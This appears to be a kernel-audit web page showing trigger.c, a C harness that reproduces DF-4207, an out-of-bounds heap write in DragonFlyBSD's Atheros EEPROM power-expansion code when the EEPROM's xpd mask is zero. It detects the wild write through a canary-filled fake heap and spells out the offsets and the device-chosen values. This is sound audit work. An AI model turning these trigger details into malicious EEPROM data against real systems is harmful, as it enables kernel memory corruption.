โฌข DragonFlyBSD Kernel Audit
DF-4207 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-4207 โ€” wild OOB heap write in eepromExpandPower5112() when the
 * device-supplied EEPROM xpd_mask has no set bits (ee_xgain[mode] == 0).
 *
 * The two functions under test (eepromAllocExpnPower5112,
 * eepromExpandPower5112) and every struct type they touch are extracted
 * VERBATIM from the guest's own /usr/src kernel tree by build.sh (which
 * first verifies the tree's sha256 matches the audited file).  Only the
 * allocator is shimmed: allocations come from a 4 MiB mmap()ed arena
 * ("kernel heap") pre-filled with 0xAA canaries, so any write outside the
 * exact allocation extent is visible.
 *
 * Trigger: 5112-layout EEPROM (ver >= 4.0, eepMap == 1), ee_xgain[mode]
 * == 0 (word 0x? nibble (eeval>>1)&0xf == 0, ah_eeprom_v3.c:1267), and at
 * least one calibration pier for that mode.  eepromExpandPower5112 never
 * checks that at least one xpd gain bit is set, so xgainList[0] keeps its
 * 0xDEAD sentinel (ah_eeprom_v3.c:192-207) and is then used as an array
 * index: pDataPerXPD[0xDEAD] (ah_eeprom_v3.c:226-227) โ€” ~1.14 MiB past
 * the heap allocation, with EEPROM-chosen 16-bit values.
 *
 * Exit 42 == wild write observed (bug reproduced).  Exit 0 == clean.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>

/* ---- kernel shims (logic of the extracted code is untouched) ---- */
#define AH_TRUE  1
#define AH_FALSE 0
#define AH_NULL  NULL
typedef int HAL_BOOL;
struct ath_hal { int pad; };
static struct ath_hal ah_obj;
#define roundup(x, y) ((((uintptr_t)(x)) + ((uintptr_t)(y) - 1)) & ~((uintptr_t)(y) - 1))
/* HALDEBUG is debug-print only; the audited control flow never depends on it */
#define HALDEBUG(ah, lvl, fmt, ...) do { } while (0)

#define ARENA_SZ (4u << 20)	/* 4 MiB fake kernel heap */
#define CANARY   0xAA
static uint8_t *arena;
static size_t   arena_off;

static void *
h_malloc(size_t sz)
{
	void *p = arena + arena_off;
	arena_off += (sz + 15u) & ~15u;
	return p;
}
#define ath_hal_malloc(sz) h_malloc(sz)
static void ath_hal_free(void *p) { (void)p; }

/* ==== VERBATIM STRUCTS FROM ah_eeprom_v3.h INSERTED BY build.sh ==== */
/* ==== VERBATIM FUNCTIONS FROM ah_eeprom_v3.c INSERTED BY build.sh ==== */

/* two expansion receivers so the two runs are independent */
static EEPROM_POWER_EXPN_5112 cal_expn_storage[2];
#define cal_expn_1 cal_expn_storage[0]
#define cal_expn_2 cal_expn_storage[1]

static void
report(const char *tag, EEPROM_POWER_EXPN_5112 *px, uint8_t *alloc_end)
{
	uint8_t *pdc = (uint8_t *)px->pDataPerChannel;
	uint8_t *p;
	size_t damaged = 0, first_off = 0;
	int first = 1;

	/* anything != CANARY past the allocation extent is the OOB write */
	for (p = alloc_end; p < arena + ARENA_SZ; p++) {
		if (*p != CANARY) {
			damaged++;
			if (first) { first_off = (size_t)(p - pdc); first = 0; }
		}
	}
	printf("[%s] pDataPerChannel=%p alloc_end=%p numChannels=%u\n",
	    tag, (void *)pdc, (void *)alloc_end, px->numChannels);
	printf("[%s] damaged bytes past allocation: %zu (first at pDataPerChannel+%zu)\n",
	    tag, damaged, first_off);
	if (damaged) {
		/* pDataPerXPD sits at offset 4 inside EXPN_DATA_PER_CHANNEL_5112
		 * (after channelValue + maxPower_t4) */
		size_t wild = 4 + (size_t)0xDEAD * sizeof(EXPN_DATA_PER_XPD_5112);
		printf("[%s] expected wild XPD base: pDataPerChannel+%zu (4 + 0xDEAD * %zu)\n",
		    tag, wild, sizeof(EXPN_DATA_PER_XPD_5112));
		printf("[%s] bytes at the wild site (+%zu..+%zu):\n   ", tag,
		    wild + 2, wild + 20);
		for (p = pdc + wild + 2; p < pdc + wild + 20; p++)
			printf(" %02x", *p);
		printf("\n");
	}
}

int
main(void)
{
	EEPROM_POWER_5112 cal;
	EEPROM_POWER_EXPN_5112 *px;
	uint8_t *alloc_end;

	arena = mmap(NULL, ARENA_SZ, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (arena == MAP_FAILED) { perror("mmap"); return 1; }
	memset(arena, CANARY, ARENA_SZ);

	printf("sizeof(EXPN_DATA_PER_XPD_5112)      = %zu\n", sizeof(EXPN_DATA_PER_XPD_5112));
	printf("sizeof(EXPN_DATA_PER_CHANNEL_5112)  = %zu\n", sizeof(EXPN_DATA_PER_CHANNEL_5112));
	printf("wild index 0xDEAD = %u -> byte offset +%zu from a pDataPerXPD[] base\n\n",
	    0xDEAD, (size_t)0xDEAD * sizeof(EXPN_DATA_PER_XPD_5112));

	/* ---- run 1: single calibration pier, xpdMask == 0 ---- */
	arena_off = 0;
	memset(&cal, 0, sizeof(cal));
	cal.numChannels = 1;
	cal.xpdMask = 0;			/* ee_xgain[mode] == 0 */
	/* EEPROM-chosen bytes: pcdac chain + per-point powers (all 16-bit) */
	cal.pDataPerChannel[0].pcd1_xg0      = 0x2a;	/* 42        */
	cal.pDataPerChannel[0].pcd2_delta_xg0 = 0x15;	/* -> pcdac1 = 63 */
	cal.pDataPerChannel[0].pcd3_delta_xg0 = 0x0a;	/* -> pcdac2 = 73 */
	cal.pDataPerChannel[0].pcd4_delta_xg0 = 0x05;	/* -> pcdac3 = 78 */
	cal.pDataPerChannel[0].pwr1_xg0 = 0x2c;
	cal.pDataPerChannel[0].pwr2_xg0 = 0x30;
	cal.pDataPerChannel[0].pwr3_xg0 = 0x34;
	cal.pDataPerChannel[0].pwr4_xg0 = 0x38;

	px = &cal_expn_1;
	if (!eepromAllocExpnPower5112(&ah_obj, &cal, px)) {
		printf("run1: alloc failed\n"); return 1;
	}
	alloc_end = arena + arena_off;
	if (eepromExpandPower5112(&ah_obj, &cal, px))
		printf("[run1] eepromExpandPower5112 returned AH_TRUE\n");
	else
		printf("[run1] eepromExpandPower5112 returned AH_FALSE\n");
	report("run1", px, alloc_end);

	/* ---- run 2: three piers โ€” wild write repeats per channel (84-byte stride) ---- */
	arena_off = 0;
	memset(arena, CANARY, ARENA_SZ);
	memset(&cal, 0, sizeof(cal));
	cal.numChannels = 3;
	cal.xpdMask = 0;
	cal.pDataPerChannel[0].pcd1_xg0 = 0x2a;
	cal.pDataPerChannel[0].pcd2_delta_xg0 = 0x15;
	cal.pDataPerChannel[0].pcd3_delta_xg0 = 0x0a;
	cal.pDataPerChannel[0].pcd4_delta_xg0 = 0x05;
	cal.pDataPerChannel[0].pwr1_xg0 = 0x2c;
	cal.pDataPerChannel[0].pwr2_xg0 = 0x30;
	cal.pDataPerChannel[0].pwr3_xg0 = 0x34;
	cal.pDataPerChannel[0].pwr4_xg0 = 0x38;

	px = &cal_expn_2;
	if (!eepromAllocExpnPower5112(&ah_obj, &cal, px)) {
		printf("run2: alloc failed\n"); return 1;
	}
	alloc_end = arena + arena_off;
	(void)eepromExpandPower5112(&ah_obj, &cal, px);
	report("run2", px, alloc_end);

	/* verdict */
	{
		uint8_t *p; int dirty = 0;
		for (p = alloc_end; p < arena + ARENA_SZ; p++)
			if (*p != CANARY) { dirty = 1; break; }
		printf("\n%s: wild OOB write %s observed\n", dirty ? "FAIL" : "PASS",
		    dirty ? "WAS" : "was NOT");
		return dirty ? 42 : 0;
	}
}